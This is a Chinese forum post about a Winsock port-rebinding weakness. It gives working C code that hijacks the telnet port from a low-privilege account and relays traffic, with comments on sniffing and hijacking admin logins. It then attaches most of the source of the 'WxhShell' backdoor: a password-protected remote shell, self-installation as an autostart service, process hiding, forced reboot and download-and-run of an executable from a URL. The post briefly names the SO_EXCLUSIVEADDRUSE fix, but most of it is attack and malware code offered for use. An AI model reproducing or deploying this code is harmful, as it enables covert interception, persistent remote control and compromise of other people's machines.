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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )HU?7n.{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CtE".UlCA  
.f6_[cS;g  
  saddr.sin_family = AF_INET; SGbo|Xe7:  
3Fr}8Dy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pjx9@i  
Gis'IX(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;ndg,05_  
6?t5g4q*nn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E+Gea[c  
e;gf??8}  
  这意味着什么?意味着可以进行如下的攻击: P(Lwpa,S  
{jv1hKTa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S#""((U$  
~PV>3c3l=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }%:?s6Ler  
vWgh?h/ot  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hR?rZUl2M  
<fyv^e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tG{Vn+~/  
36j.is  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1.>` h:  
P]y5E9 k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V*/))n?  
P"~ B2__*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :b ;5O3:B  
 %k2zsM  
  #include CBvBBt*  
  #include LyQO_mT2  
  #include 'DIE#l`  
  #include    85X^T]zo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }x8fXdd  
  int main() PzF)Vg  
  { [Z[)hUXE?  
  WORD wVersionRequested; nU`;MW/^w  
  DWORD ret; >U}~Hv]  
  WSADATA wsaData; w68qyG|wM  
  BOOL val; Tq?W @DM*  
  SOCKADDR_IN saddr; tC&y3!k2jR  
  SOCKADDR_IN scaddr; wUSWB{y  
  int err; } M1<a4~  
  SOCKET s; q!7\`>.2:{  
  SOCKET sc; ?/u&U\P  
  int caddsize; x r=f9?%R  
  HANDLE mt; 3b_#xr-  
  DWORD tid;   ]>:>":<:  
  wVersionRequested = MAKEWORD( 2, 2 ); $)uQ%/DH>  
  err = WSAStartup( wVersionRequested, &wsaData ); jrW7AT)\  
  if ( err != 0 ) { jALo;PDJ  
  printf("error!WSAStartup failed!\n"); `q/y|/v<  
  return -1; im?nR+t+X  
  } \Z~m6;  
  saddr.sin_family = AF_INET; oW8[2$_N+  
   6jnRC*!?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -~xd-9v?  
R0+m7mx#E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \2LCpN  
  saddr.sin_port = htons(23); 1DBzD%@Oz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @e slF  
  { I4)vJ0  
  printf("error!socket failed!\n"); Obd!  
  return -1; '|+_~ZO*d  
  } mH hm~u  
  val = TRUE; B O"+m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {!="PnB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %?g]{  
  { I?:V EN:  
  printf("error!setsockopt failed!\n"); |;].~7^  
  return -1; Lf,gS*Tg?  
  } 44]ae~@a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^a]i&o[c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {wm  `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DnTM#i:  
[C&c;YNp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I/(`<s p  
  { [R~HhM  
  ret=GetLastError(); ZWFH5#=  
  printf("error!bind failed!\n"); J d`NS3;*p  
  return -1; Z86[sQBg  
  } n1LS*-@  
  listen(s,2); u|Ai<2b$  
  while(1) }%}eyLm(  
  { gf!j|O;  
  caddsize = sizeof(scaddr); /2z 2a-!r  
  //接受连接请求  {<i!Pm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }Jc^p  
  if(sc!=INVALID_SOCKET) CUtk4;^y#  
  { II2oV}7?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;S%wPXj&  
  if(mt==NULL) :r6 bw  
  { \GkcK$Y  
  printf("Thread Creat Failed!\n"); 6D+9f{~r  
  break; @3G3l|~>  
  } K>q,?x b  
  } ~!uK;hI  
  CloseHandle(mt); fpqKa r  
  } 6m{3GKaW~  
  closesocket(s); 63~i6  
  WSACleanup(); ,5/gNg  
  return 0; \gzNMI*  
  }   g_q{3PW.  
  DWORD WINAPI ClientThread(LPVOID lpParam) eD/?$@y  
  { EEaFi 8  
  SOCKET ss = (SOCKET)lpParam; 8?(4E 'vf  
  SOCKET sc; }{ P}P}  
  unsigned char buf[4096]; =l\D7s  
  SOCKADDR_IN saddr; +uH1rF_&@  
  long num; 4ASc`w*0  
  DWORD val; t EN%mK  
  DWORD ret; 5n"'M&Ce  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oo qNPLa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;<*VwXJR  
  saddr.sin_family = AF_INET; aH~il!K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vu1:8j  
  saddr.sin_port = htons(23); f{vnZ|WD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +Y \#'KrA  
  { dW=]|t&  
  printf("error!socket failed!\n"); %>s y`c  
  return -1; aR3W9  
  } ._nhW*  
  val = 100; }X`K3sk2/z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R"tLu/Sn  
  { F!Uk`[L  
  ret = GetLastError(); 4iw+3 Q|  
  return -1; +[>m`XTq  
  } 4~ iKo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V^Nc0r   
  { /!LfEO  
  ret = GetLastError(); w ggl,+7  
  return -1; 'Kq%t M26!  
  } &^Xm4r%u_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `fL$t0 "  
  { a]Lr<i8#%  
  printf("error!socket connect failed!\n"); YlYTH_L>E  
  closesocket(sc); 2#rF/!`^  
  closesocket(ss); +Oxl1fDf  
  return -1; P3:hGmk8|j  
  } 1p tPey  
  while(1) 7y60-6r  
  { y)=Xo7j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \:Nbl<9(9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [3\}Ca1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ul:jn]S*  
  num = recv(ss,buf,4096,0); NQOdgp  
  if(num>0) ed617J  
  send(sc,buf,num,0); ]v+\v re  
  else if(num==0) 8'f:7KF  
  break; g.veHh|;_  
  num = recv(sc,buf,4096,0); Dl7#h,GTc<  
  if(num>0) Xf.SJ8G  
  send(ss,buf,num,0); 0R; ;ou  
  else if(num==0) (l$bA_F \  
  break; X09& S4  
  } x&7!m  
  closesocket(ss); ?{+}gS^  
  closesocket(sc); 1_F2{n:yp  
  return 0 ; MN#\P1  
  } fghJj@ES  
n0cqM}P@;!  
"d{ |_Cf  
========================================================== C^ uXJ~8  
pE`BB{[@  
下边附上一个代码,,WXhSHELL 05w_/l+  
p^^<BjkQ  
========================================================== R@ihN?k  
AJj6@hi2P  
#include "stdafx.h" p! Hpq W  
uv Z!3UH.  
#include <stdio.h> =WHdy;  
#include <string.h> V a<L[8  
#include <windows.h> BCFvqhF7s  
#include <winsock2.h> -`A6K!W&~p  
#include <winsvc.h> &L;0%  
#include <urlmon.h> vQ 5 p  
sqsBGFeG  
#pragma comment (lib, "Ws2_32.lib") 2o6%P}C  
#pragma comment (lib, "urlmon.lib") LB-4/G$  
yQh":"$k  
#define MAX_USER   100 // 最大客户端连接数 x|1OGbBK  
#define BUF_SOCK   200 // sock buffer g#:?Ay-m  
#define KEY_BUFF   255 // 输入 buffer ':J[KWuV  
[X;yJ$  
#define REBOOT     0   // 重启 cE[4CCpy  
#define SHUTDOWN   1   // 关机 X62GEqff  
}]/"auk  
#define DEF_PORT   5000 // 监听端口 mhVSZhx|  
rBT#Cyl  
#define REG_LEN     16   // 注册表键长度 }+,;wj~  
#define SVC_LEN     80   // NT服务名长度 0>>tdd7  
](B+ilr   
// 从dll定义API t}]=5)9<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =%p0r z|b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s:6H^DQ"C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )88z=5.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8I`>tY  
  Lxs  
// wxhshell配置信息 6>zO"9  
struct WSCFG { <Knl6$B  
  int ws_port;         // 监听端口  \&"gCv#  
  char ws_passstr[REG_LEN]; // 口令 U+URj <)  
  int ws_autoins;       // 安装标记, 1=yes 0=no fgq#Oi}  
  char ws_regname[REG_LEN]; // 注册表键名 L`tr7EEr  
  char ws_svcname[REG_LEN]; // 服务名 [>v.#:YM^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %r?Y!=0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7]62=p2R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #T&''a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0)+F}SyyD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gm(`SC?a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3+0 $=ef  
R>yoMk/u  
}; /n&w|b%  
G D$o |l]\  
// default Wxhshell configuration up#W"`"  
struct WSCFG wscfg={DEF_PORT,  GMrjZ  
    "xuhuanlingzhe", B&VruOP0  
    1, Jzo|$W  
    "Wxhshell", (~#{{Ja  
    "Wxhshell", t[Qf|#g  
            "WxhShell Service", B!4chxzUZ  
    "Wrsky Windows CmdShell Service", ( hp 52Vse  
    "Please Input Your Password: ", g Q6_]~4  
  1, ]oUvC  
  "http://www.wrsky.com/wxhshell.exe", wa5wkuS)ld  
  "Wxhshell.exe" -X3yCK?re  
    }; `$Z:j;F  
WRe9ki=R  
// 消息定义模块 % tTL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; //xK v{3fI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y({&} \o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xk7 MMRb  
char *msg_ws_ext="\n\rExit."; I r]#u]Ap  
char *msg_ws_end="\n\rQuit."; OWx-I\:  
char *msg_ws_boot="\n\rReboot..."; j]Kpwf<NS  
char *msg_ws_poff="\n\rShutdown..."; {CdQ)|  
char *msg_ws_down="\n\rSave to "; Zi/ tax9C  
u $O` \=  
char *msg_ws_err="\n\rErr!"; oSq?. *w<  
char *msg_ws_ok="\n\rOK!"; ark~#<SqAr  
#rD0`[pz  
char ExeFile[MAX_PATH]; clV3x` z  
int nUser = 0; D=Jj!;  
HANDLE handles[MAX_USER]; _)XQb1]  
int OsIsNt; Tr*3:J }  
r$T\@oTL  
SERVICE_STATUS       serviceStatus; g(& huS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Cfu19Dx  
Lyo!}T  
// 函数声明 D<U^FT  
int Install(void); Y7vUdCj  
int Uninstall(void); MVP|l_2!  
int DownloadFile(char *sURL, SOCKET wsh); _Wg?H:\  
int Boot(int flag); v#c'p^T  
void HideProc(void); Td(eNe_4T  
int GetOsVer(void); X$BN &DD  
int Wxhshell(SOCKET wsl); = p{55dR  
void TalkWithClient(void *cs); Pu>jECcz  
int CmdShell(SOCKET sock); 1 etl:gcEC  
int StartFromService(void); +-2o b90_m  
int StartWxhshell(LPSTR lpCmdLine); : 8h\x  
B8.a#@R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &YpViC4K.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &rs   
( f]@lNmx  
// 数据结构和表定义 UI2TW)^2  
SERVICE_TABLE_ENTRY DispatchTable[] = /o L& <e  
{ pW5ch"HE  
{wscfg.ws_svcname, NTServiceMain}, Z uFk}R"x  
{NULL, NULL} ?TWve)U  
}; 7qsu0 .[d  
e%[0 NVo  
// 自我安装 w.X MyHj  
int Install(void) (w[#h9j  
{ 7M8oI.?C|  
  char svExeFile[MAX_PATH]; 4|U$ON?x  
  HKEY key; ! [3  /!  
  strcpy(svExeFile,ExeFile); 5-*hAOThg  
Y=83r]%  
// 如果是win9x系统,修改注册表设为自启动 nSy{ {d  
if(!OsIsNt) { RISDjU3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $/p0DY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {#`O'F>  
  RegCloseKey(key); Y8v13"P6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (;!92ct[?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {'#1do}{  
  RegCloseKey(key);  B_Ul&V  
  return 0; wE3L,yx=  
    } WwUhwY1o!L  
  } OCW0$V6;D-  
} Ah 2*7@U  
else { `^v=*&   
|qs8( 5z0  
// 如果是NT以上系统,安装为系统服务 *jR4OY|DXH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DplS\}='s  
if (schSCManager!=0) [x%[N)U3  
{ I4XnJ[N%  
  SC_HANDLE schService = CreateService \qf0=CPw8  
  ( kz_gR;"(Z  
  schSCManager, z( \4{Y  
  wscfg.ws_svcname, M}fk[Yr>  
  wscfg.ws_svcdisp, jlxY|;gZ-0  
  SERVICE_ALL_ACCESS, YY zUg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b1TIVK3m  
  SERVICE_AUTO_START, ]J1oY]2~  
  SERVICE_ERROR_NORMAL, yopC <k  
  svExeFile, =cR"_Z[8X  
  NULL, 9\'JtZO  
  NULL, `' .;U=mF  
  NULL, HVdy!J  
  NULL, 4bs<j  
  NULL \E(^<Af  
  ); ~U r  
  if (schService!=0) gU&y5s~  
  { LwlO)|E  
  CloseServiceHandle(schService); )-\C{>  
  CloseServiceHandle(schSCManager); ]-j.\+(*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oBO4a^D  
  strcat(svExeFile,wscfg.ws_svcname); 57wHo[CJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'aWqj+Wbh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); **V8a-@  
  RegCloseKey(key); n!dXjInV  
  return 0; /8#e < p  
    } ;9CbioO  
  } a,|Hn  
  CloseServiceHandle(schSCManager); {j6$'v)0  
} 3Ofh#|qc&  
} bey:Qj??  
kzk8b?rOA  
return 1; jn4|gQ  
} 25PZ&^G 8%  
.C\2f+(U  
// 自我卸载 )IVk4|  
int Uninstall(void) %9 3R/bx  
{ "T$LJ1E  
  HKEY key; b>-h4{B[  
Cag^$nj  
if(!OsIsNt) { w}]BJ<C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0QP=$X  
  RegDeleteValue(key,wscfg.ws_regname); BOOb{kcg  
  RegCloseKey(key); (|\%)v H-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p*j>s \  
  RegDeleteValue(key,wscfg.ws_regname); 0q4P hxR`e  
  RegCloseKey(key); 0q28Ulv9  
  return 0; ?y-@c]  
  } &MZ{B/;;H  
} bf=!\L$  
} KE.O>M ,I.  
else { U!{~L$S  
%iB,hGatE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NCdDG  
if (schSCManager!=0) -%Rw2@vU  
{ v#lrF\G5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZZw2m@T>  
  if (schService!=0) fH@cC`  
  { &OlX CxH  
  if(DeleteService(schService)!=0) { =xQPg0g  
  CloseServiceHandle(schService); v%r/PHw  
  CloseServiceHandle(schSCManager); O{7rIy  
  return 0; 7}I';>QH  
  } s#'Vasu  
  CloseServiceHandle(schService); 8BrC@L2E0  
  } GEv x<:  
  CloseServiceHandle(schSCManager); 1s~rWnhVv  
} u/<ZGW(&s(  
} !</U"P:L  
kbL7Xjk  
return 1; 2 OV$M~  
} l{*m-u5&;  
pIV |hb!G  
// 从指定url下载文件 <FX ]n<  
int DownloadFile(char *sURL, SOCKET wsh) rK3KxG  
{ .sc80i4  
  HRESULT hr; k')H5h+Q=  
char seps[]= "/"; [,MaAB  
char *token; L8q#_k  
char *file; RH{+8?0  
char myURL[MAX_PATH]; ,SPgop'  
char myFILE[MAX_PATH]; }3, 4B -8!  
S\]9mHJI  
strcpy(myURL,sURL); .820~b0  
  token=strtok(myURL,seps); ZbiC=uh  
  while(token!=NULL) q44vI  
  { WJxcJE  
    file=token; u$CN$ynS  
  token=strtok(NULL,seps); cNT !}8h^  
  } |)v}\-\ #  
mU(v9Jpf7  
GetCurrentDirectory(MAX_PATH,myFILE); xQ';$&  
strcat(myFILE, "\\"); ]#[4eaCg  
strcat(myFILE, file); |)xWQ KzA  
  send(wsh,myFILE,strlen(myFILE),0); E2 FnC}#W  
send(wsh,"...",3,0); $vK,Gugcx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7IFZK\V  
  if(hr==S_OK) wpp!H<')  
return 0; \03<dUA6  
else }Ml BmD  
return 1; E=8GSl/Jx  
w2!:>8o:  
} e$teh` p3  
kOdA8X RY  
// 系统电源模块 "N ">RjJ"  
int Boot(int flag) U'msHF  
{ T{2)d]Y  
  HANDLE hToken; !Pz#czo  
  TOKEN_PRIVILEGES tkp; W}N7jPO}  
#6 ni~d&0  
  if(OsIsNt) { $IS!GS&:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C~ A`h=A<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?hAO-*);  
    tkp.PrivilegeCount = 1; YcV^Fqi!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w >%^pO~}`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BW6Ox=sr<  
if(flag==REBOOT) { ?(U;T!n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JU;`c>8=)  
  return 0; n!AW9]  
} p^}`^>OL  
else { $a8,C\m e?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3M(*q4A$"  
  return 0; YD@Z}NE v"  
} F Z RnIg  
  } [3sZ=)G  
  else { E<}sGzMc  
if(flag==REBOOT) { {qlcTc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0'THL%lK  
  return 0; <KK.f9^o(  
} x_I*6?  
else { ?-%(K^y4r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3UmkFK<  
  return 0; "wcw`TsK  
}  3s| :7  
} D"-Wo}"8O'  
D5oYcGc  
return 1; 9BpxbU+L;  
} /F9Dg<#a  
j!NXNuy:  
// win9x进程隐藏模块 g\q4-  
void HideProc(void) qBcbMa9m  
{ oemN$g&7  
SUIJ{!F/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `R xCs`  
  if ( hKernel != NULL ) w&T\8k=  
  { Q"U%]2@=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  *U6+b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;du},>T$n  
    FreeLibrary(hKernel); /\<x8BJ  
  } Z*f%R\u  
'K02T:\iZ  
return; l`l6Y>c*]  
}  ^|zag  
qy.$5-e:[9  
// 获取操作系统版本 XkkzY5rxOc  
int GetOsVer(void) !;mn]wR>a  
{ iLJ@oM;2  
  OSVERSIONINFO winfo; yGNpx3H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F!g1.49""  
  GetVersionEx(&winfo); rNJU & .]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o~e_M-  
  return 1; ]T|$nwQ  
  else ;-JFb$m  
  return 0; !ht2*8$lQ  
} Wu<;QY($5  
@k)J i!7  
// 客户端句柄模块 6it [i@*"  
int Wxhshell(SOCKET wsl) u?fM.=/N  
{ Dq<DW2It>  
  SOCKET wsh; ?H,f|nc  
  struct sockaddr_in client; vf@j d}?  
  DWORD myID; o?m1  
/>}zB![(K  
  while(nUser<MAX_USER) &4KUXn[F  
{ 64#Ri!RR}  
  int nSize=sizeof(client); #:N#i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sbX7VfAR`  
  if(wsh==INVALID_SOCKET) return 1; C|Y[T{g?t  
nA_'j l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZklpnL*!  
if(handles[nUser]==0) ^'`(E_2u  
  closesocket(wsh); i!8"T#  
else ME0u|_dPjz  
  nUser++; )=()  
  } ]|PTZ1?j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AZ4?N.X?  
7gV9m9#  
  return 0; -C(Yl=  
} iX{2U lF7  
&y1iLk h^  
// 关闭 socket 0&fO)de96  
void CloseIt(SOCKET wsh) <XG]aYBR  
{ 9 Xl#$d5  
closesocket(wsh); 6{^\7`  
nUser--; +D4m@O  
ExitThread(0); t3?I4HQ  
} #9r}Kr=P  
2)}*'_E9  
// 客户端请求句柄 zSD_t  
void TalkWithClient(void *cs) sRZ<c  
{ F(."nUrf  
_0gdt4  
  SOCKET wsh=(SOCKET)cs; ,g}$u'A+d  
  char pwd[SVC_LEN]; "= %"@"<)  
  char cmd[KEY_BUFF]; jUNt4  
char chr[1]; J ;z`bk^  
int i,j; l3ogMRq@  
Kw;gQk~R!  
  while (nUser < MAX_USER) { "0Z /|&  
*S.FM.r  
if(wscfg.ws_passstr) { 8@LWg d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x:~XZX\mwH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rvu5#_P  
  //ZeroMemory(pwd,KEY_BUFF); n{M Th_C4n  
      i=0; =^rp= Az  
  while(i<SVC_LEN) { $V`1<>4  
csLbzDg  
  // 设置超时 T:'JA  
  fd_set FdRead; 5yK#;!:h  
  struct timeval TimeOut; QN$s %&O  
  FD_ZERO(&FdRead); <'$>&^!^  
  FD_SET(wsh,&FdRead); 7]1a3Jk  
  TimeOut.tv_sec=8; !*~QB4\2b  
  TimeOut.tv_usec=0; hx;kNcPbI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XC~"T6F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gl`J(  
o$;&q *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3{~(_  
  pwd=chr[0]; W/,:-R&'>  
  if(chr[0]==0xd || chr[0]==0xa) { <_t]?XHB[  
  pwd=0; Cj4Y, N  
  break; k Qr  
  } kO*\JaD  
  i++; '6){~ee S  
    } Ck !"MK4  
=`|BofR  
  // 如果是非法用户,关闭 socket W?aP%D"(i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J|^XD<Y  
} D6?h 6`J  
E:/!]sm!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9'sZi}rT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }T\.;$f  
2*O# m  
while(1) { ^?(#%~NS  
}za pN v  
  ZeroMemory(cmd,KEY_BUFF); Y7g%nz[[  
N2}Y8aR~  
      // 自动支持客户端 telnet标准   ;qUB[Kw  
  j=0; ;T0X7MNx  
  while(j<KEY_BUFF) { ^&mrY[;S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c-(dm:  
  cmd[j]=chr[0]; H<fi,"X^  
  if(chr[0]==0xa || chr[0]==0xd) { # }}6JM  
  cmd[j]=0; r^msJ|k8[  
  break; >0ZG&W9  
  } @|t]9  
  j++; w0j'>4  
    } Ag+B*   
UcB&p t&  
  // 下载文件 "\}h  
  if(strstr(cmd,"http://")) { CEw%_U@8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .),9q z`  
  if(DownloadFile(cmd,wsh)) #prYZcHv:_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .5s58H cg,  
  else D]"W|.6@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Da8gOZ  
  } $G)HU6hF*  
  else { *My9r.F5o  
4[kyzz x  
    switch(cmd[0]) { N;-%:nC  
  BxV>s+o&]  
  // 帮助 u ynudO  
  case '?': { n CX{tqy   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eXnSH$uI  
    break; $,/E"G`  
  } N3\RXXY  
  // 安装 2p;I<C:Eo  
  case 'i': { H? z~V-8  
    if(Install()) 2BF455e   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:rf DO  
    else {j`8XWLZZN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L;M@]  
    break; s1::\&`za  
    } )i:*r8*~  
  // 卸载 k\SqDmv  
  case 'r': { UNiK6h_%  
    if(Uninstall()) :5j+^/   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQKo ]Kdr  
    else pT~3< ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H}G 9gi  
    break; :8/ 6dx@Y(  
    } rX5"p!z  
  // 显示 wxhshell 所在路径 }vY^e OK.  
  case 'p': { ,\&r\!=  
    char svExeFile[MAX_PATH]; =Gzs+6A8  
    strcpy(svExeFile,"\n\r"); S~fP$L5  
      strcat(svExeFile,ExeFile); [tt{wl"E  
        send(wsh,svExeFile,strlen(svExeFile),0); ??.aLeF&  
    break; 8`)* ?Q9~  
    } 0n2H7}Uq  
  // 重启 Gukvd6-g9b  
  case 'b': { Srmr`[i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ',]Aj!q  
    if(Boot(REBOOT)) L'KKU4zj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DOFW"SpE  
    else { i={4rZOD^  
    closesocket(wsh); ZDp^k{AN9a  
    ExitThread(0); D8~\*0->  
    } c*zeO@AAn  
    break; 4t%Lo2v!X%  
    } CFW Hih  
  // 关机 W" vkmk  
  case 'd': { owA8hGF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C<9GdN  
